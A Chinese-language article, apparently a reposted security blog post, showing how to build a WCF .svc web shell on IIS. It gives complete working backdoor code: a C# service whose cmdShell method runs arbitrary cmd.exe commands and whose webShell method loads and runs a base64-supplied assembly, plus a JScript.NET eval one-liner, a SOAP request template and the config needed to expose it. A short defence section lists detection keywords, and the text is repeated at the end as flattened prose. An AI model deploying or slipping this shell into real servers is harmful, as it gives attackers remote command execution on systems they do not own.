探索基于.NET下实现一句话木马之SVC篇
字数 1222 2025-08-18 11:37:27

基于.NET实现SVC一句话木马技术详解

0x01 前言

本文是探索.NET三驾马车实现一句话木马的完结篇,重点介绍基于WCF服务的SVC文件实现一句话木马的技术。前两篇分别介绍了ashx和asmx一句话木马,本文代码已同步至GitHub。

0x02 WCF基础原理

WCF (Windows Communication Foundation) 是微软为构建面向服务的应用程序提供的统一编程模型,能够解决不同应用程序域、不同平台之间的通信问题。WCF统一了多种分布式技术:

  1. 契约(ServiceContract): 服务公开的公共接口,定义服务方法、传输协议、访问地址和消息格式
  2. 地址(Address): 服务的唯一访问地址
  3. 绑定(Binding): 定义服务与外部通信的方式
  4. 终结点(EndPoint): 由地址、绑定和契约组成,用于发送或接收消息

WCF请求处理器是.NET Framework自带的ISAPI Extension,能够解析SOAP请求并生成SOAP应答。

0x03 基础WCF服务示例

[ServiceContract]
public interface IService1
{
    [OperationContract]
    string DoWork();
}

public class TestService : IService1
{
    public string DoWork()
    {
        return DateTime.Now.ToString();
    }
}
  • [ServiceContract] 声明接口为契约
  • [OperationContract] 声明方法为对外服务

0x04 SVC木马实现步骤

文件整合

标准WCF项目包含三个文件:

  1. Service1.svc
  2. Service1.svc.cs
  3. IService.cs

实现木马需要将三部分整合到一个.svc文件中:

  1. 将接口文件IService.cs代码合并到Service.svc.cs
  2. 将Service1.svc.cs和Service1.svc合并

功能实现代码

<%@ ServiceHost Language="C#" Debug="true" Service="TestService" CodeBehind="Service2.svc.cs" %>

using System;
using System.ServiceModel;
using System.Web;
using System.IO;

[ServiceContract]
public interface IService1
{
    [OperationContract]
    string cmdShell(string cmd);
    
    [OperationContract]
    string webShell(string text);
}

public class TestService : IService1
{
    public string cmdShell(string cmd)
    {
        System.Diagnostics.Process p = new System.Diagnostics.Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.CreateNoWindow = true;
        p.Start();
        return p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    }
    
    public string webShell(string text)
    {
        if (text != null)
        {
            System.Reflection.Assembly ass = System.Reflection.Assembly.Load(Convert.FromBase64String(text));
            System.Reflection.MethodInfo method = ass.EntryPoint;
            if (method != null)
            {
                object o = ass.CreateInstance(method.Name);
                method.Invoke(o, null);
            }
        }
        return "OK";
    }
}

部署与测试

  1. 部署到IIS7
  2. 访问 http://IP/service2.svc?singleWsdl 查看WSDL定义
  3. 使用SoapUI工具测试:
    • 下载SoapUI 5.2.1
    • 添加WSDL
    • 调用cmdShell或webShell方法

0x05 一句话木马实现

Jscript.Net实现

<%@ ServiceHost Language="JScript" Debug="true" Service="svcLessSpy" %>

import System;
import System.ServiceModel;
import System.Web;

[ServiceContract]
public class svcLessSpy
{
    [OperationContract]
    function exec(text : String) : String
    {
        eval(text);
        return "OK";
    }
}

SOAP消息结构

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:exec>
         <tem:text>DateTime.Now.ToString()</tem:text>
      </tem:exec>
   </soapenv:Body>
</soapenv:Envelope>

关键点:

  • Envelope元素是SOAP消息根元素
  • Body包含传输数据
  • tem:exec和tem:text是应用专用元素
  • 修改tem:text内容可实现任意代码执行

web.config配置要求

<system.serviceModel>
    <behaviors>
        <serviceBehaviors>
            <behavior>
                <serviceMetadata httpGetEnabled="true"/>
            </behavior>
        </serviceBehaviors>
    </behaviors>
</system.serviceModel>

必须配置httpGetEnabled=true,否则会提示"元数据发布被禁用"错误。

0x06 防御措施

  1. 代码安全:

    • 严格验证输入
    • 禁用危险函数
  2. IDS规则:

    • 检测上传内容中的关键词:
      • OperationContractAttribute
      • ServiceContractAttribute
      • eval
      • 其他危险函数

0x07 总结与展望

  1. SVC有替代ASMX的趋势,是微软主推的服务技术
  2. 目前中国菜刀不支持SVC扩展,需要专用工具
  3. 未来SVC木马可能被更多攻击者利用

0x08 参考资源

  1. WCF入门教程
  2. WCF基础知识
  3. 示例代码:GitHub仓库
基于.NET实现SVC一句话木马技术详解 0x01 前言 本文是探索.NET三驾马车实现一句话木马的完结篇,重点介绍基于WCF服务的SVC文件实现一句话木马的技术。前两篇分别介绍了ashx和asmx一句话木马,本文代码已同步至GitHub。 0x02 WCF基础原理 WCF (Windows Communication Foundation) 是微软为构建面向服务的应用程序提供的统一编程模型,能够解决不同应用程序域、不同平台之间的通信问题。WCF统一了多种分布式技术: 契约(ServiceContract) : 服务公开的公共接口,定义服务方法、传输协议、访问地址和消息格式 地址(Address) : 服务的唯一访问地址 绑定(Binding) : 定义服务与外部通信的方式 终结点(EndPoint) : 由地址、绑定和契约组成,用于发送或接收消息 WCF请求处理器是.NET Framework自带的ISAPI Extension,能够解析SOAP请求并生成SOAP应答。 0x03 基础WCF服务示例 [ServiceContract] 声明接口为契约 [OperationContract] 声明方法为对外服务 0x04 SVC木马实现步骤 文件整合 标准WCF项目包含三个文件: Service1.svc Service1.svc.cs IService.cs 实现木马需要将三部分整合到一个.svc文件中: 将接口文件IService.cs代码合并到Service.svc.cs 将Service1.svc.cs和Service1.svc合并 功能实现代码 部署与测试 部署到IIS7 访问 http://IP/service2.svc?singleWsdl 查看WSDL定义 使用SoapUI工具测试: 下载SoapUI 5.2.1 添加WSDL 调用cmdShell或webShell方法 0x05 一句话木马实现 Jscript.Net实现 SOAP消息结构 关键点: Envelope元素是SOAP消息根元素 Body包含传输数据 tem:exec和tem:text是应用专用元素 修改tem:text内容可实现任意代码执行 web.config配置要求 必须配置 httpGetEnabled=true ,否则会提示"元数据发布被禁用"错误。 0x06 防御措施 代码安全: 严格验证输入 禁用危险函数 IDS规则: 检测上传内容中的关键词: OperationContractAttribute ServiceContractAttribute eval 其他危险函数 0x07 总结与展望 SVC有替代ASMX的趋势,是微软主推的服务技术 目前中国菜刀不支持SVC扩展,需要专用工具 未来SVC木马可能被更多攻击者利用 0x08 参考资源 WCF入门教程 WCF基础知识 示例代码: GitHub仓库